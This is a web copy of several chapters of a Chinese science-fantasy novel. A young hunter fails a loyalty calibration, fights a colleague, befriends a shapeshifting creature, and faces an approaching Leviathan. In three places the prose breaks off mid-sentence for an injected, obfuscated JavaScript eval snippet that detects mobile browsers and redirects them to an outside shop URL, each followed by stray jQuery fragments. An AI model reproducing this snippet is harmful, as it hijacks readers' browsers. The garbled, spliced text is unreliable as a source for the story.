排在万里前面的大汉神色不耐烦:“每次都是这种屌问题……到底有什么可问的!”
“没辙。”旁边的人接了一句,“云都那帮人说,长期接触异种会出认知偏差……虽然我觉得自己很正常,但我说了不算。”
“哈!那群纸上谈兵的家伙,真该亲自来和异种比划比划!”
“我最烦那只眼球,好像活的,每次都想捏爆它!”
“毁坏军事资产,够你蹲半年的!”
万里没加入讨论。
她双手插兜,注意力始终在手腕上。小怪物很安静,目前没有异样,但她不确定那只眼球会不会察觉到到它的波动。
五分钟后轮到万里,气密门缓缓打开。
屋子六面纯白,灯光柔和却找不到来处。一把椅子,一面单向镜,天花板上悬浮着一只拳头大小的不规则圆形。
那确实是一只异种的眼球,经过联邦生物工程部改造,用以捕捉猎人们的瞳孔直径变化与微表情波动。它悬浮在一根细长的机械臂末端,外层裹着血管状的软管,每隔几秒就搏动一下。
单向镜的小托盘上放着一枚监测片,万里将它贴在左侧颈动脉附近。
那只眼球从天花板蜿蜒而下,来到万里跟前,虹膜的颜色因对焦正在不断加深。
“请编号为9853的中级猎人,背诵《猎人宣言》。”
万里平视着这片深紫色的虹膜:
“人类文明存续,高于一切。高于我的姓名,我的生命,我的挚爱。我的刀立在这里。以此为界,凡越海而来者,一律清剿。寸步不退,死战不休,直到海水变红。”
虹膜从深紫转为冰蓝,正式进入校准模式。
眼球:“界线之内。清剿。”
万里:“清剿。”
“杀死一个生命,是什么感觉?清剿。”
“清剿。”
“刀刃切开血肉,你的手掌是否颤抖?清剿。”
“清剿。”
“你和被你杀死的生命,有什么不同?清剿。”
“清剿。”
“你是否为自己的行为叹息?清剿。”
“清剿。”
“你的界线从未动摇?清剿。”
“……清剿。”
7. 记大过一次
“哔……哔……”
测试屋门头上,那只十年没有动静的红灯,忽然在众目睽睽之下亮起。
那红光并不刺眼,甚至有些黯淡,却看得在场猎人脊背发凉,比见了厉鬼还叫人心惊。
四周安静一瞬,随即一股脑地围了上去。
伊芙琳拧起眉头,一把攥住万里手臂。
“怎么回事?!”
万里被她拽得晃了一下,话刚到嘴边,视线却越过伊芙琳的肩膀,看见了后面那群猎人——
一张张脸挤在一起,神情复杂。有人失望,有人露出一副“果然如此”的了然,但更多的是怨恨。
“伊芙琳,我……”
“叛徒!”
一个红发女猎人几乎是扑过来,伸手就要抓万里,被伊芙琳硬生生隔开。
“吉安娜!你冷静一点!”
“我怎么冷静!”吉安娜胸口起伏得厉害,双眼通红,“你让我怎么冷静!从前的尤利娅也是这……”
“吉安娜!”伊芙琳怒声打断,“你知道那场海底异动跟尤利娅没有关系!”
红发猎人死死盯着万里,试图从这张与故人相似的脸上找出答案。
“十年前,尤利娅没通过校准的时候,你也是这么护着她的。”吉安娜眼圈发红,“可那些没回来的人呢?那些死在海上的猎人呢?他们的命,真的跟尤利娅一点关系都没有吗?”
“现在又来一个……”吉安娜咬着牙,一字一句,“这次不行。至少这次,没通过校准的人,必须离开渔村!”
“幸亏尤利娅没活着回来。”有人低声说了句。
万里猛地抬头。
说话的男猎人剃着圆寸,四十出头,见万里看过来,更加不屑:
“我说错了?身为猎人,不杀异种,反倒跑去给两头说和。十九条命,十九个家。她死了一了百了,屁股后头一堆烂账全甩给别人擦!”
圆寸男人越发刻薄:“烂在海里,就是她跟异种做朋友的下场!”
伊芙琳刚要喝止,万里已经窜了出去。
中级猎人的速度算不上顶尖,但万里惯常单打独斗,尤其擅长近战,在这群身披甲胄,靠团队战术吃饭的猎人眼中,她的动作没有任何章法,反倒难以预判。
几个上前拦截的猎人扑了个空,万里直奔那张嘴而去,一拳轰上圆寸男人的下巴,指节撞牙齿,声音闷得人牙酸。
四周哗地一声炸开。
“万!”
“快拉开她!”
圆寸男人踉跄半步,很快稳住身形。
他也不是软柿子,凭借体型优势,反手一把就扣住了来袭的手腕。万里膝盖毫不犹豫上顶,正中男人肋骨,钳制手腕的力道减弱,她趁势挣脱,翻手又是一肘——
“嘶……”这一下十分刁钻,周围猎人看得眼皮都跟着一跳。
万里压低重心,再次贴近,专拣肋下,小腹这种地方下死手,哪怕自己肩背也挨了好几下。
她动作越来越狠,铁了心要把这个圆寸男人打到再也不敢胡咧咧为止。
但高级猎人就是高级猎人。
圆寸男人猛地屈肘卡住她肩颈,膝盖往前一顶,直接撞散了她的下盘。万里只觉得腰侧一麻,随后被一股巨力狠狠掼了出去。
她摔在地上滚了两圈,被圆寸男人压在下头,脸颊碾着水泥地面的沙砾,嘴角也磕破了,铁锈味糊了满嘴。
男人一只胳膊正好横压在她下颌前,万里想都没想,偏头就是一口。
后者吃痛,恶狠狠骂了句脏话。
就是这一瞬。
她一个翻身,左脚蹬地借力,右腿抡出去,带着轻微破空声,鞋底砸在对方下颌上,圆寸男人脑袋后仰,栽倒在地。
周围有人喊停,有人往后退了一步,给缠斗的二人让出地方,说不清是想拦着还是想继续看热闹。
伊芙琳心口抽紧。
她看见了万里的眼睛。
那双跟尤利娅一模一样的眼眸,正从边缘往里晕开一层暗红,像是鲜血滴进墨水,逐渐吃掉了瞳仁原本的颜色。
下一秒,她眼睁睁看着万里弯腰,拔出了开罐器。
“不行!”伊芙琳脸色骤变,“快住手!”
另一边,莉诺还蹲在训练场冲浪,整个人沉浸在跟评论区对骂的快乐中。
只因德伦发了一句【P得不错。】
莉诺冷笑一声,手指噼里啪啦一通敲【建议你先把那自己张失败的脸P一下!】
发送。
“嘿嘿……”回完她先乐了,准备乘胜追击,把德伦祖上三代一并料理了,就听训练场后头传来一片惊呼。
什么情况?
莉诺如狐獴一般伸长脖子张望,却隐隐约约听到“万里”二字,于是拔腿就朝那边跑。
挤开人群时,她看见好友正和别人滚在地上厮打。
万里骑在对方身上,双手攥着那把开罐器,手背青筋绷起,正一点点往下压,刃尖几乎快贴上男人的胸甲。
“你疯了是不是!”圆寸男人怒骂,“敢对同袍动刀!你跟你妈一个德行,猎人里的败类!”
“都来搭把手啊!!”伊芙琳提着万里肩膀,死命往上抬,只是后者纹丝不动。
莉诺此刻什么都顾不上了,看着好友嘴角的血迹,满脑子就一个念头:
万里吃亏了!
她粗略一扫,从地上捡起半截烂砖头,快步冲到圆寸男人旁边,抡圆胳膊——
“我去你的!”
砖头狠狠落下。
圆寸男人本就挂彩的脸,这会儿更是没法再看。
“莉诺!”陈安扑上来,一把拽住她往后拖,“你也疯了!”
围观的猎人们忌惮开罐器的锋利,一时谁都不敢贴得太近,生怕挨上一刀。
这时万屹到了,人群自动往两边分开,他目光在刀尖上转了一圈,脸色难看至极。
“把刀收了。”
万里不为所动。
“当众持械伤人,记大过一次,停训七天。今年的高级猎人考核,取消资格。”
最后这句话像盆凉水浇在万里头顶,眼里那层暗红渐渐褪去,她顿时从失控的状态中脱离。
“这不怪她!”莉诺还想说情,被陈安一把捂上嘴。
万里想说什么,只是喉咙里堵得厉害,半天才挤出一句:“……爸。”
圆寸男人这会被人扶起来,脸肿得发青,模样狼狈不堪。
他本来还想骂,可听见那句“取消资格”后,反倒怔愣住了,喉结滑动,难得说了句人话。
“司令,这处分是不是太重了点。”男人说话时扯到嘴角,疼得眉头直拧,“她是先动了刀,可我、我也有责任。”
“你也知道?”万屹眼皮没抬,“本杰明·柴尔德,记大过一次,停职反省十五天,下次跨岸清剿,降为替补。”
“司令!我怎么能给那群新兵蛋子做替补!”
“再加八千字检讨!”
柴尔德不再吭声,忿忿杵在原地,目送万家父女离去。
海风一吹,万里彻底清醒过来。
也直到这时,她才感觉到手腕上的钝痛。那只小怪物正把自己缩成细细一条,一圈压着一圈。
万里碰了碰它,小怪物稍微松开一点,又立刻绷紧,像是不放心什么。
父女俩没回司令部。
万屹一路沉默着把女儿送到家,进门之后站了会儿,目光落在那些没擦干净的血痂上。
女孩嘴角破了个口子,灰头土脸,短发乱得不像样,就连肩膀都是塌的,跟刚才红着眼要杀人的疯魔样判若两人。
“前阵子……近海清剿太密了,把你累着了吧?是不是没歇过来?”
万里正背对着他脱外套,闻言扯扯嘴角。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483279|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老万就是这样。
从小到大,不管是发烧还是摔跤,不管是被人欺负哭着回来还是考核没过关,他永远只有这一句。
好像世界上所有的问题都是因为没睡够觉,只要躺下来歇一歇就能好。
“可能是吧。”她没回头。
“那你好好歇几天,反正也不用出海了……多吃点,早点睡。”
说完就回司令部了,再没多余的话,也没提刚才的处分。
莉诺一直跟在后头,看万屹走了,进来熟门熟路地拉开橱柜,在压缩饼干和罐头中间翻出碘伏和棉球。
“你家也真够行的,药和吃的永远混着放……”
看莉诺举着棉球凑过来,万里往后躲了躲,“这点小伤就不用——嘶!”
话没说完,蘸满碘伏的棉球怼上伤口。
简单擦擦,莉诺将棉球扔进垃圾桶,站起来看了万里一眼。
“行了,不说了。”她拍了拍好友发顶,哄小孩似的,“有事儿给我发……算了,你也没有终端。那有事儿你一个人扛着吧,明天再来找你玩。”
门再次关上,屋子静了许多。
万里坐在餐桌旁,无意识搓着灰扑扑的指尖。
刚才到底怎么回事?
她努力回想柴尔德说过的话。每个字都记得,但从拔出开罐器那刻起,后面的记忆模模糊糊烂成一片,怎么都捋不顺。
当时确实气疯了。
她原本只想给柴尔德一个教训,让他闭嘴,让他不敢再拿妈妈说事,而不是……真的要把开罐器捅进他的身体。至于后来是怎么顶着他的力气,一点点把刀往下送的,万里自己也记不清了。
柴尔德身高一米八七,少说也有二百二十磅,还是高级猎人。论体格、力量,怎么都不该被她压得连翻身都难……
万里闭闭眼,额角一跳一跳地疼。
不想了。
今天已经够乱的了。洗澡,睡觉。
铁皮小屋里没有热水器这种奢侈玩意,烧热水全靠那台燃煤锅炉。
万里拖着酸痛身子走到卫生间,拧开铜阀,管子里咕噜噜响了一阵,大约十分钟,流出来的水才开始冒白烟。
她抱膝坐在浴缸里,水慢慢没到胸口,心中那股憋闷才稍微散开。
大概是闻到了水汽,小怪物从手腕一路滑下。
它平时是浅浅的透明蓝,像一小截会呼吸的海水,可一进到热水里,立马变成和浴缸釉面一样的瓷白色,偶尔还能见到一闪一闪的光点。
万里这才意识到,那层透明浅蓝多半也是它模拟出来的保护色。
盯着看了会儿,她算是头一回认真打量这只小东西。
它的脑袋……如果那个圆鼓鼓的部分算脑袋的话。
它的脑袋上戳着两只小小的锥形,一高一低,像两枚插歪的妙脆角。身子底下鼓着四五个圆滚滚的突起,像没长开的肉团子,万里莫名想起老唐胳膊上那朵颤巍巍的肉花。
只不过那朵肉花可不会伸出半透明的触须。
小怪物显然很适应这缸热水。
它在水里一拱一拱,游到肥皂盒附近时,明显顿了下。鬼鬼祟祟看了眼万里,见她没动静,胆子立刻肥起来。
伸出触须,迅速抠下一小块肥皂塞进身体。动作之熟练,像干过千百遍。
然后小怪物瓷白的身体中闪出了乱七八糟的颜色。
红绿蓝紫,轮番往外冒,毫无章法,照得整个卫生间像开了某种莫名其妙的舞厅特效。
“……”万里没忍住,抬手就是一个脑瓜崩。
小怪物骨碌碌转起来,最后翻着肚皮,几个肉团子无力地耷拉着,颜色还在有一搭没一搭地闪。
万里笑够了,伸手把它捞起来,托在掌心笑话。
“让你乱吃。”
两只妙脆角动了动。
“活该。”
8. 深渊特征
万里睡不着。
对于一个生物钟固定的人来说,没觉硬睡十分痛苦,再加上从厨房不停传来的悉悉索索,她叹了口气,一个翻身坐起。
时针指向两点,手腕上的小怪物也不翼而飞。
下楼经过老万房间时,万里探头瞄了眼。床铺空着,人也不在,估摸又在司令部加班。脚下一转直奔厨房,她没急着进去,抱臂斜斜靠在门框上看。
为了方便作案,小怪物整个身体膨胀成巨大一坨,跟墙上的铁皮一个颜色,几乎塞满半个厨房。
此刻它背对门口,正专心致志地举着一盒预拌粉说明研究,其他的触手各司其职,有握着搅拌盆的,有捏着搅拌棒的,还有翻箱倒柜拿材料的。
万里想不通它是怎么看懂字的,更想不通一只异种为什么会琢磨着下厨。
怪物拆开巧克力豆,犹豫了下,干脆全倒进去。黄油、预拌粉、糖霜和巧克力豆混在一起,经过搅拌,已初具曲奇面团的雏形。
万里看得牙疼,父女俩没一个爱吃甜食。这些烘焙材料还是别人送的,恐怕保质期早过了,属于是拿去喂狗都得先问问狗乐不乐意的那种。
它倒不挑。
厨房当然还是乱的,但也没到灾难现场的程度。怎么说呢,万里觉得它还是有点家教的,虽然不多。
面团拌好,下一步轮到烤制。
小怪物到处东张西望,估计是在找说明上写的烤箱。可厨房里根本没这东西,于是那一大坨身体就这么卷着说明,困惑地转过身——
然后和门口的人类对视上。
万里:“你还和上面了?”
大山一样的躯体抖了两下,急忙把说明藏到背后。
“挺有生活的。”她又说,“不像本地异种啊……”
这回小怪物身体表面鼓起一些,脑袋一扬,竟还扬出几分神气。万里只觉得莫名其妙,不知道这东西到底在得意什么。
两人……不,准确地说,一人一坨,就这样对视片刻,小怪物率先打破僵局,卷起一块生曲奇面团,停在半空,像是思考。
两秒后,那根触手很热情地递过来。
万里眼皮一抽,偏头躲开,生面团擦着脸颊过去,留下一道面粉印子。
“拿远点。”
不死心的怪物继续安利,这回差点怼到她嘴边。
“我说拿远点!”
怪物举着那坨面团,不太理解问题出在哪儿,只好塞进身体,伴随面团融化,万里又听见那道男声。
「好吃。」
这次她没再怀疑,看来确实是这只笨手笨脚的生物在说话。
那这就不属于普通意义上的伴生寄附了。
绕过听觉,把声音直接送进脑子里的行为更像渗透,通常只有T1级的雾铃水母才会这么干。
猎人们的恐惧、欲望,它们一清二楚,再加上低语诱导,直到叫人分不清现实与虚幻。
更难缠的是它们的亚种,连声音都没有,直接蛰伏在意识深处,被察觉时,那些念头早已烙成钢印——而留给那位倒霉蛋的,通常只有一颗子弹。
只是比起那些渗透型异种,眼前这只小怪物的发言过于寒碜。
「脏。」
「好吃。」
都什么乱七八糟的……
万里神情复杂,无论怎么看,它目前只是一坨没什么野心、但胃口奇佳的大山,并且这座大山正在想办法把面团弄熟。
眼见它朝茶壶探出触手,万里冲过去接管厨房。
架上平底锅,点火倒油,面团丢进去压实,翻面再等一会儿,一块卖相十分糟糕的软曲奇勉强出锅。
怪物全程观摩,两只妙脆角好奇地左右摆动。
“吃!”万里把曲奇铲到它跟前。
怪物也不嫌烫,卷起来直接塞进身体,然后自然地接过锅铲,杵在灶台前忙活。
触手揪下面团丢进锅里,按扁,圆得像模具压出来的。后来甚至无师自通了颠勺,触手往前一抬,曲奇翻了个面又稳稳落回锅里。
万里:“……”
她干脆坐到餐桌边,沏了壶茶看怪物做饭。
受热均匀,焦色一致,品相完整。万里给新出锅的曲奇打了八分。
怪物手脚麻利,很快端着一大盘曲奇来到餐桌对面,试图把山一样的身体塞进餐椅。
“你完全不用这么大坨。”万里好言相劝。
怪物仍在尝试,铁皮餐椅不堪重负,发出绝望的嘎吱响。
“不是会拟态吗?变小一点。”
话音刚落,怪物身体里的光点同时亮起,臃肿庞大的身体急速收缩,折叠。骨骼先长出来,然后是四肢躯干,最后是五官。
万里眼睁睁看着“自己”出现在餐桌对面。
“衣服!穿衣服!”
对面的“万里”眨眨眼,身体表面冒出一层覆盖物,只不过材质受限,拟态出来的衣服又滑又亮,像裹了层保鲜膜在外面。
万里灌了口茶水压惊,强迫自己不去看,但根本做不到,对面始终传来让她牙酸的动静。
“你吃得至少像个人,行吗?”
小怪物抬头,手掌还埋在肚子里捅咕,表情懵懂。
万里不知该夸它学得像还是怎么着。外表一样就算了,内脏也一件不少!她甚至看到一截粉色小肠,耷拉在豁口外晃悠,又被怪物塞了回去。
“从这儿吃!”她指指嘴唇。
怪物举着曲奇放到嘴边,在万里的注视下,整只手连同曲奇一起塞了进去,丝毫没有停下的意思。
指骨撑开喉管,那动静有些像树枝折断。对面的“万里”脖子鼓起拳头大的包,伴随着整条胳膊塞进食道,胸腔被撑开,肋骨外翻,像一把被大风吹反了的雨伞。
万里端着茶杯,久久无言。
她觉得自己刚刚观看了一场畸形虐待秀。
摄影是她,观众是她,受害者是她,施暴者还是她。萨特曾说他人即地狱,没想到“自己”也行。
“你得用牙……”她开了个头又咽回去。算了,跟个异种较什么劲。
万里转头拧开餐桌角落的老式话匣子,试图把那些诡异的声音压过去。
先是一阵沙沙的电流白噪音,随后里面传出一道有些失真的播报员声音。
小怪物像被雷劈了,滋溜一下缩进桌底,手里仍端着那碟曲奇,一块都没撒。
万里低头,头一回从“自己”脸上看到了窝囊。
“……已进入第三周活跃期,途经该星域的所有民用航线暂停通行,复航时间另行通知。此外,联邦深蓝空防总署第四巡航舰队昨日于涅蓝-12星外围截获一艘星盗改装船,船上查获走私异种样本十七份……”
「涅蓝。」
万里看它一眼:“什么?”
怪物钻出来重新坐下,端着碟子听得很认真。一块曲奇配一口茶,再加上这只吱哇乱叫的老式话匣子,万里对这一幕感到亲切。
怎么跟她爷似的,就差一把摇椅和一副老花镜了。
播音员的声音还在继续。
“……代号‘山猫’的A级星盗团伙疑似现身涅蓝-12星四号矿坑附近,该团伙长期从事原生种活体走私及非法生物改造,成员持有改装武器,危险等级较高。请星际出行公民近期避免前往相关区域……”
「涅蓝。」又是一句。
“涅蓝?”
怪物转过头来看她,手里还举着半块曲奇。
“你喜欢这个词?”
怪物眨了眨眼:「涅蓝。」
“行,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483280|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你以后就叫涅蓝。”
万里莫名想笑。
村里的宠物名字大多凶狠。比如莉诺那只叫屠夫的长毛猫,又比如杨老头那只叫跛豪的瘸腿狗,就连码头那只爱偷薯条的海鸥都叫黑手。
涅蓝。
斯文得不像一只异种,实在与渔村调性不符,她刚要改变主意,就见怪物又把胳膊塞进食道,胸腔不停发出咕噜咕噜的消化声。
还是叫这个吧。万里准备用这个名字中和一下它的邪气。
“我叫万里。”她说。
话一出口又觉得荒唐,毕竟没有哪个猎人会向异种做自我介绍,更何况俩人还面对面喝茶聊天。《猎人宣言》要是长了腿,估计早跑过来扇她了。
“嗬嗬。”
怪物尝试说话,只是喉咙都碎了,发不出像样声音。
“对。”她毫不在意,“万里。”
怪物点点头,继续吃曲奇,只是这次没再把胳膊伸进去。
其实这个人类的名字它早就会念,甚至早于寄生之前。
深渊带的眠潮夫人总爱讲些零碎古怪的故事。清醒时的她自称尤利娅,而在那些断断续续、近乎絮语的讲述中,出现得最多的词语就是“万里”。
但这些都不重要了。
大衮那头走狗垂涎这片海域很久了,一直在深渊带附近徘徊,只等眠潮夫人下次陷入沉睡,那这条海岸线就会变为它的餐桌。[1]
只是时间问题,涅蓝想。
.
2:40。除了码头灯塔的光,就只有司令部还亮着。
万屹还在同薇拉通信,说是例行会议,实际就是一场永无止境骂战,核心议题翻来覆去就那一个:万里。
“她不是你的士兵!不需要你来替她规划什么!”桌子被万屹拍得当当直响。
行军床上的帕尔默翻了个身,被子扯到头顶。
“我不是在跟你商量。”薇拉看上去比万屹体面得多,只是到底太晚了,老人略显疲色,“未通过校准测试的猎人,终身不得进入深红序列。你比我更清楚这一点,万里的猎人生涯很有可能到此为止了。”
无视万屹要杀人的目光,薇拉继续说:“她想进海防总署,就只剩那条路了……这是她的天赋,也是尤利娅当年——”
“够了!”万屹怒不可遏,“女儿利用完了,现在又盯上外孙女?这些年过去,你恶心我的本事,还是一点儿没变。”
光幕那头安静了几秒。
“我的身份首先是一名军人,其次才是谁的母亲、谁的外婆。”老人的声音有些哀伤,“尤利娅也明白这一点,所以她自愿加入观测组。你可以恨这个事实,但你不能质疑我对她的爱。”
“别骗自己了,薇拉。”万屹咬牙切齿,“你爱的是尤利娅带给你的好处,在你眼里,她不过一件趁手的工具,只是刚好流着斯塔列娃家的血!”
薇拉没有反驳。
她闭上眼,过了几秒才重新睁开。
“我们都冷静一下吧。”
“我很冷静。”万屹说,“只要你别再打万里的主意。”
薇拉没接他的话,把一张趋势图投到光幕上。曲线后半段陡然抬高,快要顶出画面边框,下方附着一张截图,主角正是万里与那只原初修格斯。
“这条视频的传播速度已经失控了,联邦来不及掩盖。如果这只T0对万里产生异常共鸣,那说明她体内的深渊特征已经开始外显。”
“云都那群搞基因工程的人不会放过这次机会的。一个自然激活的深渊特征样本……光这一条,就足够他们从议会手里撬来巨额的研究经费。”
万屹阴沉着脸,想反驳薇拉,却找不到地方下嘴。
“你是想让万里落到那群人手里,还是让她先待在我身边?”
9. 利维坦
身为第八海岸青年猎人代表的入围者,万里自认思想端正,立场稳固,忠诚度经得起任何考验。所以没通过校准测试,对她而言,不仅仅是丢了深红序列的编制那么简单。
这个结果,基本上全盘否定了她这些年的辛苦,三年,12场考核,最后浓缩成一句“未通过”,就因为犹豫的那0.05秒。
这不是失败,这就是羞辱。
万里甚至想给联邦生物工程部写投诉信,然而她也确实在动笔。
从凌晨五点到天蒙蒙亮,洋洋洒洒写了一页,字里行间只有一个诉求:申请二次校准,求求了。给个机会,真的求求了。
比狗还卑微。
她实在没有骨气放狠话,毕竟生物工程部那帮人不像异种,看不顺眼一刀剁了完事。他们并不咬人,他们只是刚好有权左右猎人的命运而已。
撂下笔,万里戳戳一旁睡得四仰八叉的透明团子。
“走了。”
两只妙脆角最先弹出,然后是一对金眸。怪物眨眨眼,弓起后背舒展身体,慢吞吞缠上万里手腕。
莉诺家在村西高台,靠近信号塔,不夸张地说,这里是整个村子视野最好的地方。
站在她家门口,月牙状的渔村就在脚下,近海远海一览无余,万里甚至能看见沉放带那片锈红海水与远处黑蓝海面相接的地方。
“叩叩。”
来开门的女人一头棕色卷发,神情温柔,围裙上还沾着点面粉。
“莉诺还没醒。正好鸡蛋卷刚出炉,要不要吃一点?”多琳娜身上带着淡淡的黄油和烘焙香气,还是一如既往地好客。
“谢谢,不了,我有事找她。”
“有事也得填饱肚子再办。”多琳娜没给万里拒绝的余地,“正好,这次的鸡蛋卷没加莳萝。”
万里跟在女人身后穿过客厅,路过沙发上的屠夫。
这只橘白色的长毛猫,平日一见她,除了嗲叫就是蹭蹭,今天却像换了只猫。
瞳仁竖成细细一条,背毛炸起,正防备地蹲在沙发靠背上,一副随时准备弹射起飞的模样。
不用想,肯定因为涅蓝。万里只觉得惋惜,往后怕是没法愉快撸猫了。
多琳娜递来一只餐盘,中间的鸡蛋卷呈金字塔状,分量很沉,万里得双手端着才行。
“去吧。”多琳娜又往金字塔两边各放上一盒牛奶,这才放人。
从厨房到莉诺卧室的路上,她不仅要保持平衡,还得提防怪物偷吃。
只是眼神威慑不起什么作用,那座金字塔很快就被涅蓝掏出窟窿。
卧室一片漆黑。
床上的被子裹成圆球,偶尔蠕动一下,褶皱深处透出一些屏幕光,照亮了莉诺那对浓重的黑眼圈。
“一宿没睡?”万里踢了踢床沿。
“你来啦……”莉诺探出半张脸,头发炸成鸡窝,眼神发直,“几点了?”
“马上七点。”万里把餐盘搁在床头柜上,掏出信纸,“帮我把这个扫描一下,发到生物工程部的邮箱。”
“哦。”
莉诺举起终端对准信纸,蓝光闪过,“嘀”的一声扫描完成。她一边翻找发送地址,一边来了精神,故作神秘——
“告诉你个事儿啊……咱们目击原初修格斯的视频火了!泰拉地理真的联系我了!”
莉诺嘶哑地说,从被子里挣脱出来:“不光他家,还有生物学刊也给我发了邮件,两家都想要视频的授权!”
“然后呢?”
“然后我纠结了!”莉诺把屏幕转过来,上面是两封并排的邮件。
“泰拉地理知道我是卢曼的学生后,要拿资源置换版权。他们说,能帮我争取到在联邦议政厅的常驻实习生资格。”
万里惊讶挑眉。
“生物学刊就直白得多,他们直接开价一百万!”说完,莉诺用一种极其痛苦的表情看着好友,“我选哪个?”
眼见那些鸡蛋卷被涅蓝偷得不剩几块,万里把餐盘搁到莉诺腿上,撕开牛奶递过去。
“选泰拉地理。”
“可那是一百万啊!”
“议政厅的实习资格,那不是钱能买到的。”万里看她一眼,“这段经历写进档案,往后的路都会顺不少……况且你不是一直想做官吗?”
“但是——”莉诺咬了口鸡蛋卷,嘴里含糊不清,“你也知道,一下雨,司令部那边的信号就跟死了似的。这一百万,够建一座新的信号塔了……”
万里看着她,忽然就笑了。
幼年的莉诺就发过宏愿,说长大要建设黑锚渔村。小孩子聊理想前途时,总容易显得志大才疏,说过就忘。
可真等两人长大,万里发现好友的志向依旧没变。她还是想让渔村的信号能更好一点,灯塔再结实一点。
万里想了想自己那攒了一年的赏金,七十万不算多,但大约够一座小型信号塔的了。
“信号塔的事我有办法。你先把资格拿了,以后做了官,再想办法从议会往渔村抠钱。”
“嘿嘿,这算不算贪官预备役?”莉诺眼神憧憬。
“到时除了抠钱,我还想把九号塔乐队请到灰都巡演,就在中部高地的裂谷剧场,省得灰都的孩子们追个星还得翻山越海的……”
“那好像是以公谋私。”
莉诺笑得没皮没脸,再去拿鸡蛋卷,结果盘子里空空荡荡,只剩几粒碎屑。
“欸?”
刚要问,就听海上传来一声悠长低沉的嘶鸣。
那动静像渡轮的汽笛和鲸鱼叫声搅在一起,低频,带得卧室的铁皮窗框一起发颤。
莉诺还在发懵,万里已经变了脸色。
趁着两个人类的注意力不在这边,涅蓝拟态出一根吸管,探入牛奶盒一嘬到底。
万里一把掀开窗帘。
天气难得晴朗,海面上光线明亮,因此,那道翻滚而来的巨大黑影就格外清晰。
它背脊高隆,身子像巨蛇和某种节肢异种拼缝在一起,长长一条看不到尾。下颌宽大,头部前倾,每一次换气,头部两侧的裂膜都会喷出大片水雾。
呼哧,呼哧,像一列活的蒸汽火车正朝渔村驶来。
巨兽又是一声嘶鸣,低频的震动穿过一切,直直地钻进万里耳中。
“利维坦?”莉诺披头散发冲到床尾,脸快贴到玻璃上,“怪事……十一月不是它的深眠期吗?怎么会突然跑到近海来?”
还有昨天那只原初修格斯。
莉诺想不通,猎人月该是异种消停的时段,短短两天,一只T0一只T1,竟先后出现在第八海岸……
万里也不知道为什么。
但那头利维坦丝毫没有停下的意思,它已经越过外海,正在向沉放带的边界靠近。
“我得去码头了。”万里转身就走。
“那我去广播站!”莉诺跟着跳下床,抓了件外套就往外跑。
出门后,万里沿着上坡路快速折返,海风猛地掀开她外套后摆。
那个形状莉诺一时说不上来,只觉得像一只急着奔赴猎场的蝠鲼。看着好友的身影越跑越小,她忽然想,要是万里真有翅膀就好了。
能飞能游,上天入海,到时直接拍着翅膀往利维坦的脑袋上冲,一刀下去……只是莉诺很快被这蠢念头逗笑了,收回目光,朝广播站跑去。
沉放码头已聚起大片人影,猎人们正以惊人的效率结队列阵,万里加快脚步,海面上再度传来嘶鸣。
每一头利维坦的叫声都不同。
成年后的它们会按照固定的洄游路线迁徙,从深渊带到极北冰原,周而复始。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483281|201872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日子一长,光听声音就能分辨出是哪一只。
万里认出来了。
这声嘶鸣的尾音泄成两股,低频中夹杂着破碎的杂音,像卡了刺,怎么都咳不干净。
她下意识看了眼小腿上的开罐器。
去年十月底那次近海清剿,猎人们用声波诱饵,把这头利维坦骗到近海。等它察觉不对时,身上的组织因为水压开始崩解。
万里趁乱捅瞎它一只眼,又撕下一片眼膜,代价是被它甩尾掀飞,断了三根肋骨。后来这头利维坦强行脱离包围,拖着一身崩烂的碎肉滚回远海。
谁能想到还能再见面,只是这次可没人勾引它!
“发什么疯……”万里低低骂了句,一头扎进猎人队伍。
利维坦越过沉放带,离岸越来越近,还在司令部的万屹盯着光幕上缓缓移动的小点,按下指挥台中心的深红按钮。
沉放码头两侧,六座岸防基座从地下缓缓升起。
盖板弹开,巨大的液压支架推着脉冲炮塔升起,底部的反应堆持续嗡鸣。炮管内壁嵌满了生物电管路,正在蓄力预热,不断发出危险幽光。
六座炮塔的光学矩阵同时展开,几道瞄准激光射向海面,交汇在那头利维坦的咽喉处。
伴随着渔村上空响起的集结号,莉诺的声音从老式喇叭里传来。
“全体村民请注意,现在启动一级疏散预案,请立即停止一切作业,携带身份证明及必要财物,迅速撤离至西部高台避险。老人、儿童优先,不要拥挤,不要折返。重复一遍,现在启动……”
与跨岸清剿不同,这次猎人们没穿甲胄。
清一色的深水作战服,薄薄一层紧贴身上,像第二层皮肤。背部有台迷你供氧模块,足够支撑猎人在水下作战四十分钟。
